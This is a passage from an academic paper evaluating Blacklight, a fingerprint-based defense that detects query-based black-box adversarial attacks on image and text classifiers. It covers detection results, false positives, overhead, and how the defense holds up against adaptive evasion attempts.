SurFree 100% 98.3% 8 0% 98% 9192

Policy-Driven 100% 98.1% 5 0% 100% 13021

CIFAR10

NES - QL 100% 98.3% 2 0% 100% 12621

NES - LO 100% 98.7% 2 0% 89% 67126

Boundary 100% 64.4% 25 0% 95% 6082

ECO 100% 99.4% 2 0% 89% 16887

HSJA 100% 97.1% 7 0% 100% 1205

QEBA 100% 96.9% 6 0% 99% 1009

SurFree 100% 96.8% 8 0% 100% 1396

Policy-Driven 100% 97.3% 7 0% 100% 1198

ImageNet

NES - QL 100% 99.4% 2 0% 99% 11201

NES - LO 100% 98.2% 2 0% 20% 63492

Boundary 100% 95.1% 42 0% 74% 67356

ECO 100% 99.6% 2 0% 93% 11304

HSJA 100% 98.7% 7 0% 99% 12402

QEBA 100% 98.3% 6 0% 100% 10293

SurFree 100% 97.6% 7 0% 100% 8783

Policy-Driven 100% 99.1% 8 0% 100% 10368

Table 2: Blacklight’s detection and mitigation results. In the last two columns,

we included attack performance in absence of Blacklight: attack success rate

and average attack queries required to complete an attack.
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Figure 8: Blacklight’s false positive rate when

fixing S = 50 and varying T.

Label # of Filtered FPR Label # of Filtered FPR

balloon 953 0.07% packet 1158 0.21%

boathouse 1572 0.73% peacock 556 0.68%

daisy 656 0.10% pier 309 0.07%

fly 188 0.03% rifle 905 0.48%

geyser 896 0.11% snail 350 1.01%

hay 1192 0.79% swing 510 0.48%

knot 817 0.14% teapot 1715 0.14%

menu 1232 0.37% tiger cat 1315 0.28%

mortar 1229 0.38% toaster 3298 0.37%

nail 1696 0.83% vault 182 0.04%

Table 3: Blacklight’s false positives on benign

images crawled from Flickr. “# of Filtered” is

# of images that are duplicated and have the

same hash value with prior queries; “FPR” is

the false positive rate per label. For each la-

bel, we run Blacklight on 80,000 Flickr images

(crawled via this label).

fects false positive and detection coverage. Figure 8 shows

the measured false positive rates when varying T, confirm-

ing that T=25 achieves less than 0.1% false positive for all

four tasks. In §8.5, we further explore the impact of parame-

ter configuration by varying w, p, q and S.

Evaluation Metrics. We use the following metrics to quan-

tify the effectiveness and cost of Blacklight.

• False positive rate: % of benign queries detected as attack.

• Attack detection rate: % of black-box attacks detected

before the attack completes.

• Detection coverage: % of queries in an attack’s query se-

quence identified as attack queries.

• Avg # of queries to detection: Average # of attack queries

accepted (thus answered) before detecting an attack query.

• Attack success rate w. mitigation: Success rate of a per-

sistent attack when all detected attack queries are rejected.

• Detection overhead: Run-time latency and storage costs.

8.2 Attack Detection and Mitigation

We evaluate Blacklight’s detection rate by implementing and

performing each of the eight black-box attacks against each

classification model. For each attack and task combination,

we run 1000 instances of the attack (500 for ImageNet).

Each attack instance selects a random image from the test

dataset as source image of the attack (x0), and a random in-

correct label as the misclassification target label.

The results for all attacks are listed in Table 2. As refer-

ence, the last two columns report the performance of these

attacks without the Blacklight defense, in terms of attack

success rate and the speed of convergence (# of queries

before successfully producing an adversarial example). We

see that recent attacks, especially HSJA, QEBA, SurFree,

Policy-Driven, are highly successful in absence of Blacklight.

Boundary and NES-LO take the longest time to converge.

Some attack instances do fail to converge even after gen-

erating 100k queries (e.g., less than 50% of NES-LO com-

plete in 100K queries for MNIST, GTSRB and ImageNet).

Most of them remain unsuccessful even when increasing the

query bound to 300k. Overall, a successful attack takes sev-

eral thousands to tens of thousands of queries to complete.

Next, we summarize key results on Blacklight’s attack de-

tection (as shown by column 3-5 in Table 2). We see that the

attack detection rate remains 100% for all attack instances,

indicating that Blacklight detects all attacks on all models

in progress. The detection coverage is also extremely high

– Blacklight detects more than 96% of all attack queries,

except on the Boundary attack. Another key observation is

that Blacklight detects a new attack instance very quickly,

often after a handful of 2–8 queries (again, more queries

required for Boundary because it converges slower). In all

cases, Blacklight detects an attack in less than 1% of the av-
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erage number of queries required to complete the attack.

Blacklight detects Boundary slower than others. This is

because Boundary advances slower in shrinking perturba-

tion towards the Lp ball of the target, thus Blacklight detects

them at a “later” stage with 100% detection rate. The three

improved versions of Boundary (HSJA, QEBA, Policy) con-

verge faster, thus Blacklight detects them faster. To further

evaluate the slower Boundary attack, we run the attack for 1

million queries. We find Blacklight continues to detect (and

reject) attack queries in this longer sequence, leaving the at-

tacker with 0% success (for all four tasks). The detailed re-

sults are listed in Table 10 in Appendix.

Finally, column 6 in Table 2 reports the attack success rate

when Blacklight rejects queries identified as attack queries.

We see that none (0%) of persistent attackers manage to com-

plete their attack within 100K queries. Blacklight’s mitiga-

tion is highly effective because it is able to detect nearly all

attack queries. Rejecting these queries prevents the attacker

from making forward progress in probing model classifica-

tion boundaries. This confirms that a high detection coverage

is critical to defend against query-based black-box attacks.

Key Takeaways. Our results against eight SOTA black-

box attacks show that Blacklight detects all attacks on all

models, detects the overwhelming majority of queries in the

attack sequence, and detects the attack quickly (usually in

less than 8 queries, with the exception of the slow converg-

ing Boundary attack). Furthermore, by rejecting all detected

attack queries, Blacklight’s mitigation module ensures no at-

tacks can complete (at least in 100K queries) for all our tested

attacks and target DNN models.

Comparison to Existing Defenses. As reference, we show

the performance of SD and PRADA in Table 8, using the

same attack experiments described above. As discussed in

§4, SD and PRADA are not designed to stop persistent attack-

ers who switch account to continue attack. Results in Table 8

confirm this and their low detection coverage (0.8%-2.1%).

8.3 Detecting Universal Patch Attacks

We evaluate Blacklight against the only known query-based

universal patch attack, Sparse-RS [20]. Table 11 in Appendix

shows that Blacklight is highly effective in detecting Sparse-

RS (100% detection success rate and > 97.6% detection cov-

erage). Since query-based universal patch attacks are emerg-

ing, additional work is required to thoroughly evaluate the

robustness of Blacklight against them.

8.4 False Positives in Real World Settings

Since Blacklight relies on a similarity detection algorithm

to detect attacks, one might wonder if duplicates or near-

duplicates of images will trigger false positives. Figure 8 re-

ports its false positives between distinctive inputs. But what

about “naturally” similar images, such as different versions

of the same image, or closeby frames of the same video?

We begin with a simple test to confirm that naturally occur-

ring false positives are very low in large image repositories

like ImageNet. We turn off database resets, randomly sample

1 million images from ImageNet training data, send them as

queries to Blacklight, and observe a very low false positive

rate of 0.37%.

False Positives in Similar Images. Next, we look at sim-

ilar images of the same objects, e.g. inputs that should clas-

sify to the same labels. We crawl a large number of public

real world images from Flickr [1] using keyword search on

their public API. We pick 20 random labels from ImageNet,

and use each as a search keyword to crawl 80,000 images

for that label. We filter out images that are perfectly identical

at the pixel level (we found an average of 1036± 696 dupli-

cate images per label). We then take each label, and run our

80,000 images as queries to Blacklight. Even across Flickr

images labeled with the same keyword, Blacklight produces

a very low false positive rate of 0.37%±0.29 over 20 labels.

Detailed results for all labels are shown in Table 3.

False Positives in Video Frames. Finally, we consider

the scenario where the system might receive benign queries

that are highly similar by nature, e.g. image stills taken from

video frames. We explore how Blacklight responds under

such scenarios by testing it for false positives on the YouTube

Faces dataset [74]. YouTube Faces is a collection of 3,425

videos of 1,595 different people, designed for studying un-

constrained facial recognition. We use common image ex-

traction techniques [72] to extract 587,137 video frame im-

ages from videos for 1,283 celebrities. Of these, we filter out

33,227 images that are pixel-level identical to other images,

and send the remaining video frames to Blacklight. The re-

sult is a false positive rate of 1.74%. Even if Blacklight takes

over half million queries per reset cycle for the highly similar

queries, the false positive rate is still very low.

8.5 Impact of Parameter Configuration

We leverage our formal analysis6 of Blacklight to configure

its five system parameters: w, p, q, S, and T. Earlier in Fig-

ure 8 we show empirically how Blacklight’s false positive

rate varies with T and verify our strategy on configuring T.

In the following, we study the impact of the other four pa-

rameters by testing Blacklight against the same set of attacks

while varying each of these parameters. We report the false

positive rate and detection coverage since the attack detec-

tion rate is always 100%. The detailed results are listed in

Figure 10 in Appendix.

We summarize the key findings below. First, we confirm

that q is a critical parameter for Blacklight – the detection

coverage increases quickly as q goes from 1 (no quantiza-

tion) to 50 (the default value) and stabilizes after that (except

for Boundary). When q approaches 100, we start to see visi-

ble increase in false positives (>0.1%). Second, as expected,

6Details in our extended version [42]
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Figure 9: Blacklight’s runtime latency vs. n. Note the log Y

axis. We include latency of SD and PRADA for reference.

the sliding window size w is negatively correlated to false

positive rate and detection coverage, while the sliding step p

has little impact (note that p < w). Thus Blacklight should

select w as a small value to meet the desired false positive

rate. Finally, as expected S should be small to reduce com-

plexity but not too small (e.g.,<20) to introduce visible false

positives. Overall, these results confirm our proposed theory-

guided principle for choosing Blacklight’s parameters.

8.6 Overhead of Blacklight

Storage. Blacklight requires a database to store finger-

prints of prior queries. Our probabilistic fingerprints are ex-

tremely small. Across all of our experiments, a fingerprint

is ≤ 32 ·S bytes and 1.6KB for the default configuration. A

database of 1 million queries only requires 2GB storage, a

“negligible” value for modern servers.

Runtime. Blacklight’s per-query runtime includes latency

to generate the fingerprint from a query and latency to lookup

the fingerprint in the query database. The former depends on

the image size and the parameters (w, p) and the latter de-

pends on the size of query database n. We configure Black-

light to its default configuration and explore the impact of

sliding step p (i.e., increasing p from 1 to 10 or 25 to speed

up hash computation) and the query database size n. We run

Blacklight on an Intel i7 desktop server with 64 GB mem-

ory, and report the per-query runtime for two types of query

images (32×32,CIFAR10) and (224×224,ImageNet) in Fig-

ure 9 as a function of n. The curves remain flat over n, sug-

gesting that Blacklight’s detection cost is independent of n.

More specifically, a CIFAR10 model inference takes 50ms

(on a Nvidia Titan RTX) while Blacklight (on Intel i7) takes

4-8ms (8%-16% over 50ms) for n=1 million queries.

As reference, we compute the runtime of SD and PRADA

on the same Intel i7 server, putting all n queries into a sin-

gle account. They only run on CIFAR10, which we report in

Figure 9. The latencies scale linearly with n (note the log Y

axis). For n=1 million queries, SD and PRADA take 12s and

3.4s per query (24,000% and 6,800% over inference).

Further optimization. Blacklight’s per query latency is

dominated by the sliding window-based hash computation

(99% of total runtime). We further optimize this computa-

tion using GPUs. A modified version of Blacklight running

Attack
w. Detection w. Mitigation w/o Blacklight

Attack

detect %

Detection

coverage

Avg queries

to detection

Attack

success

Attack

success

Avg # attack

queries

TextBugger [43] 100% 99.7% 2 0% 86.0% 537

TextFooler [32] 100% 99.7% 2 0% 100.0% 669

Hard Label [50] 100% 99.9% 2 0% 100.0% 4642

Table 4: Blacklight’s detection and mitigation results on

query-based black-box attacks for text classification.

a Nvidia Titan RTX reduces per-query latency by 20x, to

0.4ms for CIFAR10 and 20ms for ImageNet, almost “negli-

gible” compared to the inference latency.

8.7 Blacklight for Text Classification

Blacklight should in principle extend to other domains where

black-box adversarial attacks produce highly similar queries

in the input space. The domain-specific design task is how

to generate query fingerprints to enable efficient and accu-

rate detection. Below, we show an initial Blacklight design

for text classification, a critical task in NLP. DNN-based

text classification is shown to be vulnerable to query-based

black-box attacks [26, 32, 43, 50], with three SOTA attacks:

TextFooler [32], TextBugger [43] and HardLabel [50].

Fingerprinting a sentence. The input to a text classifier

is a sentence, from which Blacklight produces a fingerprint.

First, we convert the sentence into an array by replacing each

word with its word embedding. We quantize the array, ap-

ply a sliding window to move through the quantized array

and compute hashes, and select the top S hashes as the query

fingerprint. The parameter choices are listed in Table ?? for

IMDB text queries. S and w are smaller since text sentences

create “shorter” arrays, while T remains S/2.

Blacklight performance. We run Blacklight on the three

SOTA attacks on the IMDB dataset [48]. The results in Ta-

ble 4 show that Blacklight achieves 100% detection rate and

>99.7% detection coverage, only takes 2 queries to detect

an attack (and reject the second query). As such, no attack

ever succeeds. For all of these tests, the false positive rate is

only 0.49%. Overall, these results offer clear evidence that

Blacklight can potentially generalize to other domains using

the same probabilistic fingerprint methodology.

9 Adaptive Attacks

A meaningful defense must be robust against adaptive coun-

termeasures from attackers with full knowledge of the de-

fense. We explored a number of customized adaptive at-

tacks against Blacklight, and present the strongest counter-

measures, organized into three groups: 1) reducing query

similarity for attack sequences, 2) reducing queries needed

for successful attacks and 3) leveraging resets in Blacklight.

Given the similarity between the attacks, we only apply coun-

termeasures to 5 of 8 attacks: NES (QL & LO), Boundary,

ECO and HSJA.
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Attack

Type

Default T = 25 (FPR = 0.0%) T = 15 (FPR = 0.74%)

0.05 0.1 0.15 0.2 0.05 0.1 0.15 0.2

NES - QL 100% 100% 100% 100% 100% 100% 100% 100%

NES - LO 100% 100% 100% 100% 100% 100% 100% 100%

Boundary 100% 100% 75% 40% 100% 100% 100% 95%

ECO 100% 100% 100% 100% 100% 100% 100% 100%

HSJA 100% 100% 55% 40% 100% 100% 80% 40%

Table 5: Blacklight detection rate for attacks using larger per-

turbation budgets (0.1-0.2) for CIFAR10. Lowering T largely

improves detection when attackers operate on very large per-

turbations, with a small increase in false positives.

9.1 Reducing Query Similarity

With knowledge of how Blacklight works, the straightfor-

ward adaptive attack is to evade detection by reducing sim-

ilarity between attack queries. Below we present four types

of adaptive attacks that add perturbations to attack queries to

reduce similarity between them.

Evasion via Image Transformations. An attacker can try

to evade detection by adding additional perturbations to at-

tack queries, where ideally these perturbations do not dis-

rupt the iterative optimization process, but are significant

enough to make fingerprints of attack queries different. We

explore two types of image transformations: 1) adding Gaus-

sian noise, and 2) applying image augmentation like shift, ro-

tation, zoom and blending. We apply these transformations

to attack queries and send them to Blacklight. We first exam-

ine how these transformations affect the attack in absence of

Blacklight, and confirm that they do introduce different lev-

els of disruptions (none to 100%). On the other hand, for all

the transformed attack sequences that will lead to a success-

ful attack in absence of Blacklight, Blacklight detects all of

them, i.e., 100% attack detection rate. Further details are in

Appendix§ E and Table 12.

Increasing Learning Rates. The attacker can also try to

increase dissimilarity between consecutive queries by tweak-

ing their learning rate parameter. Learning rate controls the

difference between two adjacent queries when estimating

gradients. This does not apply to gradient estimation free at-

tacks (Boundary and ECO). We only explore different learn-

ing rate for NES-QL, NES-LO and HSJA attacks. For two

variants of NES, we gradually increase learning rate more

than 1000 fold. While the attack success rate drops to 0%,

detection success rate remains 100%. For HSJA, we gradu-

ally grow learning rate up to a factor of 106, until changes

in learning rate no longer impact gradient estimation results.

Here, attack success rate steadily drops (eventually to 15%),

but detection remains at 100% throughout.

Increasing Perturbation Budgets. Our evaluation so far

assumes the attacker’s perturbation budget is limited to com-

monly accepted values: 0.05 for both L∞ and normalized L2.

Future attacks might tolerate a higher perturbation budget

in specific settings. Thus, we evaluate Blacklight’s detection

performance against attacks on CIFAR10 with larger pertur-

bation budgets. For all attacks, we incrementally increase the

budget from 0.05 all the way up to 0.2, and measure Black-

light’s attack detection rates for each budget level (running

20 attack instances for each data point). We show that the at-

tack detection rates for NES variants and ECO remain steady

at 100%, but Boundary and HSJA begin to evade detection

when normalized L2 = 0.15 (or L2 = 8.3).

Blacklight can compensate by tuning the fingerprint

matching threshold T. Table 5 shows that by lowering T from

25 to 15, we can dramatically increase detection rates, restor-

ing perfect detection to most attacks (except HSJA at normal-

ized L2 = 0.15/0.2 (L2 = 8.3/11.1) and Boundary at normal-

ized L2 = 0.2 (L2 = 11.1)). This drop in T only increases

false positive rates by 0.74%.

We further validate our results on the other three tasks for

the two fastest converging attacks (ECO and HSJA) and the

results (Table 13) are consistent with CIFAR10. Finally, we

also perform analysis on the L2 distances between benign

images to provide a baseline for reasonable L2 budget for

adversarial attacks in Appendix §E.

Evasion via Guided Transformation. Beyond first or-

der adaptive attacks, we worked hard to design more pow-

erful attacks specifically targeting Blacklight. Assuming a

Blacklight system’s parameters q and w are unknown to an

attacker, the strongest attack we could design is the two-

pronged reverse engineer attack, where an attacker first uses

queries to probe the limits of q and w, and then leverages

those results to optimize a guided transformation attack.

The high-level intuition is that an attacker can optimally

spread out their perturbation budget across the image, if they

understand Blacklight and learned its specific configuration

parameters. As long as there is at least one pixel changed

(after pixel quantization) for some sliding window, hash val-

ues of the window will be changed. Thus, the attacker just

needs to make sure that for each window, at least one pixel

is different from all prior queries after quantization. In this

case, Blacklight’s use of saltQ in eq (2) is crucial to resisting

these guided transformation attacks. Next, we summarize the

attack and results when Blacklight turns saltQ off or on.

(i) Guided transformation (Blacklight’s saltQ off). An at-

tacker begins by estimating quantization step q and using it

to compute quantization boundary B, followed by estimating

value of w. It does this by issuing pairs of queries with a

minimal perturbation based on an initial estimate of q or w,

and observing whether the second query is detected as an at-

tack. This is repeated using binary search until both q and

w are determined. Finally, the attacker computes B from q,

and then the optimal layout of modified pixels to maximize

the number of substring windows affected by the perturba-

tion. The attacker uses this process to modify each query to

evade detection while iteratively optimizing queries to gen-

erate the adversarial example. We implement this attack on

top of the two fastest converging attacks (ECO and HSJA)

and the slowest attack (Boundary). Table 6 shows that the at-

tacker achieves no more than 25% success rate for all tasks.
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Task
Blacklight’s saltQ off saltQ on attacker knows (p,q,w), saltQ on

Boundary ECO HSJA Boundary ECO HSJA Boundary ECO HSJA

MNIST 0% 0% 0% 0% 0% 0% 0% 0% 0%

GTSRB 10% 5% 5% 0% 0% 0% 0% 0% 0%

CIFAR10 20% 15% 25% 0% 0% 0% 0% 0% 0%

ImageNet 5% 10% 20% 0% 0% 0% 0% 0% 0%

Table 6: Attack success rate using guided transformations attacks.

Metrics NES AutoZOOM

Attack success % 100% 100%

Attack detect % 100% 100%

Detection coverage 99.1% 98.9%

Avg queries to detection 2 2

Avg # of attack queries 1473 1240

Table 7: Blacklight vs. hybrid batch attacks.

(ii) Guided transformations (Blacklight’s saltQ on). The

defender can overcome the above adversary by making it

harder to extract the quantization boundary. Blacklight does

so by adding a “salt” to the quantization process, i.e., saltQ
in eq. (2). This defeats attempts by the attacker to reverse en-

gineer q and B. Without knowledge of q, an attacker can still

launch a weaker version of the attack, but must overshoot on

perturbation to increase chances of it persisting through the

salted quantization and alter the hashes. We implement such

attack by altering 5, 10, and 15 out of every 20 pixels within

the perturbation budget. When applying this new attack on

top of ECO, HSJA, and Boundary, the attacker still achieves

0% success on all tasks, while Blacklight maintains a high

detection coverage (78%). This confirms the significant ro-

bustness gained by adding the salt.

Guided Transformations when Attacker Knows (q,p,w).

Finally, we consider the strongest guided transformation at-

tack – the attacker knows the exact values of q, p, w and can

better perturb queries to evade detection.

To make a query x evade detection, the attacker must en-

sure that for each window, at least one pixel of x is differ-

ent from all prior queries after quantization. This is because

Blacklight’s one-way hash distribution and the top S hash

choices remain unpredictable to the attacker. Knowing q, p,

w helps the attacker to optimize the pixel perturbation. For

example, now in each window changing a pixel by q or −q

will change the hash despite the use of saltQ. To make x’s

full hashes different from those of all prior attack queries, we

apply a permutation-based pixel selection algorithm to mini-

mize the total perturbation (see Algorithm1 in Appendix).

Even with this strong attack, attackers still have 0% suc-

cess rate after sending 100K queries (see Table 6). These at-

tack queries do bypass Blacklight’s detection, but the attack’s

iteration optimization process never converges to generate

an adversarial example (regardless of the perturbation bud-

get). This is because the perturbation applied to individual

attack queries in order to evade detection is too large to make

the query results useful for attack optimization, i.e., they fail

to capture detailed decision boundaries of the target model.

As such, the iterative optimization process fails to make con-

crete progress but “randomly” wanders around.

Summary. Together, our experiments with guided transfor-

mation attacks show that (1) salted quantization is important

to resist advanced attackers, and (2) under the Blacklight de-

fense, attackers now face two conflicting goals when building

attack queries: evading Blacklight’s detection or advancing

the attack’s iterative optimization process using queries.

9.2 Reducing Number of Attack Queries

Another way to evade Blacklight is to reduce the queries

needed for an attack to succeed. Since Blacklight examines

similarity between a new query and past queries, the fewer

the queries needed, the lower the probability that the attack

query will be detected. We explore two adaptive attacks that

focus on reducing attack queries needed.

Hybrid Black-Box Attacks. Substitute model based pri-

ors can be useful for planning attack queries [19, 29, 33, 67].

For example, adversarial examples generated from a sub-

stitute model can serve as a good starting point to launch

query-based black-box attacks, allowing the attacker to use a

smaller number of queries to complete the attack [67]. We

run two of these hybrid attacks [67] (NES and AutoZOOM)

while using Blacklight to protect the target model. For each

attack, we run 100 attack sequences on CIFAR10 and report

our results in Table 7. We see that the two hybrid attacks do

reduce the number of queries required for complete an attack,

Blacklight still leads to 100% attack detection, 99% of detec-

tion coverage, and detect attack queries after just 2 queries.

Optimal Black-Box Attacks. Since black-box attacks are

continuously evolving in query efficiency, we also evalu-

ate Blacklight against two types of highly efficient attacks

that are possible but do not yet exist. First, we consider ex-

tremely “query-efficient” black-box attacks that require or-

ders of magnitude fewer attack queries than current attacks

by downsampling existing attack sequences. We find that

even when attacks are able to complete in 500, 100, or 50

queries, Blacklight still detects them near perfectly (100%

detection rate for 4 attacks and 89% for Boundary attack).

Second, we imagine a “perfect-gradient” black-box algo-

rithm that is somehow able to perfectly predict gradient func-

tions from the results of its attack queries, as accurately as a

white-box attack. Our results show Blacklight detects 100%

of attacks driven by CW [12], and 81% of attacks driven by

PGD [49]. The details are listed in Table 14, Appendix §E.

9.3 Evasion by Exploiting Reset Window

Finally, to guarantee the efficacy of Blacklight, the defender

would reset the system periodically. Thus, a patient attacker

can leverage the reset feature to evade detection.

Pause and Resume Attacks. Adversaries can try to evade

detection by exploiting the fact that Blacklight periodically
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resets its database to remove all fingerprints. They can pause

their attack every time it receives a rejection response, and re-

suming the attack the next time Blacklight resets its database.

We experiment on all five black-box attacks using this strat-

egy against a CIFAR10 model and Blacklight. We run 100 in-

stances of each attack, and show average total queries needed

for each attack to succeed, and the average number of reset

cycles that requires in Table 15. If we reset Blacklight every

24 hours, the fastest successful attacker would complete an

attack (using HSJA) in 1092 days or roughly 3 years. While

this strategy does allow for a successful attack, the time cost

to perform this attack makes it highly impractical.

10 Conclusion and Limitations

Blacklight protects DNN models against query-based black-

box attacks, using a probabilistic fingerprint to detect highly

similar queries generated by attack optimization. Blacklight

achieves near-perfect detection against eight SOTA attacks

with negligible false positives, resists persistent attackers,

and is robust to a range of adaptive and even idealized coun-

termeasures. We also demonstrated that Blacklight can suc-

cessfully generalize to some text classification tasks.

Blacklight faces two limitations that demand further re-

search. First, it is unable to defend against substitute model

(SM) attacks, but can be combined with SM defenses to

launch a more complete defense against both types of black-

box attacks (see Appendix §A for initial results). Second,

Blacklight relies on the fact that existing query-based black-

box attacks all produce highly similar queries during their

iterative optimization process, a phenomenon rarely seen in

benign queries. It is not future-proof, i.e. a (future) attack

breaking this assumption would evade Blacklight.
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Appendix

A Defense against Substitute Model Attacks

Blacklight is designed to detect query based black-box at-

tacks. It cannot defend against attacks transferred from a sub-

stitute model. As we discussed in §2, substitute model at-

tacks can be effectively stalled by an existing defense called

ensemble adversarial training (EAT) [68]. EAT adversari-

ally trains an ensemble of models with different architec-

tures [49], which are shown to be robust against the substitute

model attack. Hence, to defend against all types of black-box

attacks, the defender can combine Blacklight with EAT to

build a hybrid defense system.

We build and evaluate a hybrid Blacklight and EAT de-

fense on the cifar task. Specifically, we build an ensemble

model with three different architectures (6-layer CNN, 8-

layer CNN, ResNet-20) and adversarially train the network

using PGD attacks as suggested by [49]. We use the same

Blacklight configuration as before.

We perform both substitute model based attacks and query

based black-box attacks against the above ensemble model

defended by Blacklight. For the substitute model attack we

run the state-of-art attack proposed by Papernot et al [56],

and for the query-based attacks we run the same five black-

box attacks. The result shows that the hybrid defense works

well and the two defenses do not interfere with each other.

The substitute model attack achieves 0% success (thanks

to EAT), and Blacklight achieves the same accurate attack

query detection as reported before. Thus, we conclude that

Blacklight, when combined with EAT, can defend against to-

day’s black-box attacks.

Attack
Detection

coverage

Avg queries

to detect

Attack success

w. mitigation

Attack success

w/o mitigation

NES - QL 1.8% / 0.8% 52 / 112 97% / 97% 97%

NES - LO 1.3% / 0.9% 52 / 111 85% / 85% 85%

Boundary 1.0% / 0.8% 54 / 115 86% / 86% 86%

ECO 1.8% / 0.9% 53 / 112 88% / 88% 88%

HSJA 1.7% / 0.9% 52 / 111 100% / 100% 100%

QEBA 1.6% / 0.9% 52 / 111 100% / 100% 100%

SurFree 1.9% / 0.9% 52 / 111 100% / 100% 100%

Policy-Driven 2.1% / 0.9% 53 / 111 98% / 98% 98%

Table 8: Detection performance of Stateful Detection [17]

and PRADA [34] when attackers change their accounts af-

ter detected and disabled on CIFAR10, in terms of attack de-

tection and mitigation. The result is presented as s“Stateful

Detection / PRADA”.

B Additional Results for §4

Table 8 lists the detection performance of SD and PRADA,

when attackers switch to a new account to continue the attack

after the current account gets banned.

C Experimental Configurations

Table 9 summarizes the four image classification tasks used

in our experiments. More details on associated models, at-

tack configurations and Blacklight’s configurations can be

found in our extended version [42].

D Additional Results for §8

Boundary attacks with 1 million queries. Table 10 shows

that blacklight still has 100% attack detect rates for bound-

ary attacks with 1 million query limits. Furthermore, we find

that the detection coverages are even higher for attacks with 1

million query limits than those with 100K query limits. This

validates our hypothesis that Blacklight detects boundary at-

tacks at later stage because boundary attack advances slower

in converging to the successful adversarial examples. Finally,

boundary attacks still have 0% attack success rate with Black-

light mitigation even with 1 million queries.

Blacklight’s performance on universal patch attack. Ta-

ble 11 lists the detailed results for Blacklight’s detection and

mitigation results on Sparse-RS universal patch attack.

Impacts for Blacklight parameter configuration. We

show the experimental results for the impact of Blacklight

parameters (Quantization step (q), # of hashes per fingerprint

(S), Sliding window size (w), and Sliding step (p)) by plot-

ting the Detection Coverage (%) and False Positive Rate (%)

with different parameter settings in Figure 10.

E Additional Results for §9

Evasion via Image Transformations. We report the de-

tails for our experiments against Image Transformations here.

After applying these transformations to attack queries, we re-

port the attack success rate (without the Blacklight defense)

and Blacklight’s attack detection rate, on the CIFAR10 task.
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Task Dataset # Classes
Training

data size

Test data

size
Input size Model architecture Model accuracy

Digit Recognition (MNIST) MNIST 10 60,000 10,000 (28, 28, 1) 6 Conv + 3 Dense 99.36%

Traffic Sign Recognition (GTSRB) GTSRB 43 39,209 12,630 (48, 48, 3) 6 Conv + 3 Dense 97.59%

Object Recognition - Small (CIFAR10) CIFAR-10 10 50,000 10,000 (32, 32, 3) ResNet20 91.48%

Object Recognition - Large (ImageNet) ImageNet 1000 1,281,167 50,000 (224, 224, 3) ResNet152 73.05%

Table 9: Overview of image classification tasks with their associated datasets and models.
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Figure 10: Detection Coverage (%) and False Positive Rate (%) with different settings on Blacklight parameters: Quantization

step (q), # of hashes per fingerprint (S), Sliding window size (w), and Sliding step (p).

Task
w. Detection w. Mitigation w/o Blacklight

Attack

detect %

Detection

coverage

Avg queries

to detect

Attack

success

Attack

success

Avg # attack

queries

MNIST 100% 76.3% 16 0% 26% 892350

GTSRB 100% 71.2% 19 0% 40% 902931

CIFAR10 100% 69.7% 27 0% 96% 829124

ImageNet 100% 97.2% 39 0% 79% 738452

Table 10: Blacklight’s detection and mitigation results on

Boundary attack. We stop the boundary attack if it is no suc-

cessful after 1 million attack queries.

Task
w. Detection w. Mitigation w/o Blacklight

Attack

detect %

Detection

coverage

Avg queries

to detect

Attack

success

Attack

success

Avg # attack

queries

MNIST 100% 98.4% 8 0% 32.9% 88021

GTSRB 100% 98.9% 14 0% 10.8% 98386

CIFAR10 100% 97.6% 12 0% 54.7% 87201

ImageNet 100% 98.7% 9 0% 27.7% 92039

Table 11: Blacklight’s detection and mitigation results on

Sparse-RS universal patch attack.

Like before, we report attack detection rate only successful

attacks. For each setting, we run 20 attack instances.

For Gaussian noise based transformations, we vary the

standard deviation (STD) of noise from 0.0001 to 0.05 (with

all query inputs normalized to [0,1]). Results in Table 12

show that as noise levels increase, attack success rates drop

quickly. But at all noise levels tested, Blacklight is able to de-

tect all successful attacks. Intuitively, sufficiently high noise

will disrupt classification of both benign and attack queries,

thus degrading the attack success rate. We see that Blacklight

is generally more robust than the attack’s iterative optimiza-

tion process – Blacklight continues to detect attacks at noise

levels where the noise has long since disrupted the attack.

For image augmentation, we test 4 cases where the at-

Attack

Transformation Gaussian Noise w. Different STD Image Augmentation

0.0001 0.0005 0.005 0.05 Shift Rotate Zoom Comb.

NES - QL
ASR 85% 80% 15% 0% 100% 75% 80% 60%

ADR 100% 100% 100% N/A 100% 100% 100% 100%

NES - LO
ASR 25% 20% 15% 0% 100% 45% 70% 20%

ADR 100% 100% 100% N/A 100% 100% 100% 100%

Boundary
ASR 90% 90% 85% 0% 90% 90% 90% 90%

ADR 100% 100% 100% N/A 100% 100% 100% 100%

ECO
ASR 85% 0% 0% 0% 0% 0% 0% 0%

ADR 100% N/A N/A N/A N/A N/A N/A N/A

HSJA
ASR 95% 20% 5% 0% 0% 5% 10% 15%

ADR 100% 100% 100% N/A N/A 100% 100% 100%

Table 12: Attack success rate (ASR) w/o Blacklight mitiga-

tion and Blacklight attack detection rate (ADR) of success-

ful attacks as attackers add different image transformations.

Column 3-6 report the results for adding Gaussian Noise

with different standard deviation (STD) and Column 7-10 re-

port the results for applying different image transformations

to each attack queries.

tacker shifts each input horizontally/vertically by up to 10%,

rotate by up to 10◦, zoom in by up to 10%, and a combination

of all three. Table 12 shows that while different attacks react

differently to image augmentation techniques (some still pro-

duce successful attacks while others fail completely), Black-

light is able to detect all successful attack sequences under

different transformations.

Increasing Perturbation Budget. To provide a compre-

hensive evaluation on the impact of increasing perturbation

budget on Blacklight, we run experiments on all tasks for

the two fastest converging attacks (ECO and HSJA) with

larger perturbation budgets. Table 13 shows that Blacklight

achieves 100% on all tasks for ECO attacks even with pertur-

bation budget up to 0.2. For HSJA attack, Blacklight can de-
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Task
ECO HSJA

0.05 0.1 0.15 0.2 0.05 0.1 0.15 0.2

MNIST 100% 100% 100% 100% 100% 100% 75% 40%

GTSRB 100% 100% 100% 100% 100% 100% 70% 50%

CIFAR10 100% 100% 100% 100% 100% 100% 80% 40%

ImageNet 100% 100% 100% 100% 100% 100% 90% 85%

Table 13: Blacklight detection rate for attacks using larger pertur-

bation budgets for all tasks. We use T = 15 with a small increase in

false positives (0.74%).

Attack Type

N
500 100 50 10

NES - Query Limit 100% 100% 100% 95%

NES - Label Only 100% 100% 100% 31%

Boundary 100% 90% 89% 48%

ECO 100% 100% 100% 100%

HSJA 100% 100% 100% 91%

CW Average N = 6.33, Detection rate = 100%

PGD Average N = 3.13, Detection rate = 81%

Table 14: Blacklight’s performance against near-optimal

“query-efficient” and “perfect-gradient” black-box attacks.

Attack Type Average Reset Cycles Needed Average Total Queries

NES-QL 11471 12695

NES-LO 65837 67099

Boundary 2285 6160

ECO 16590 16591

HSJA 1092 1121

Table 15: Average reset cycles needed for a successful Pause

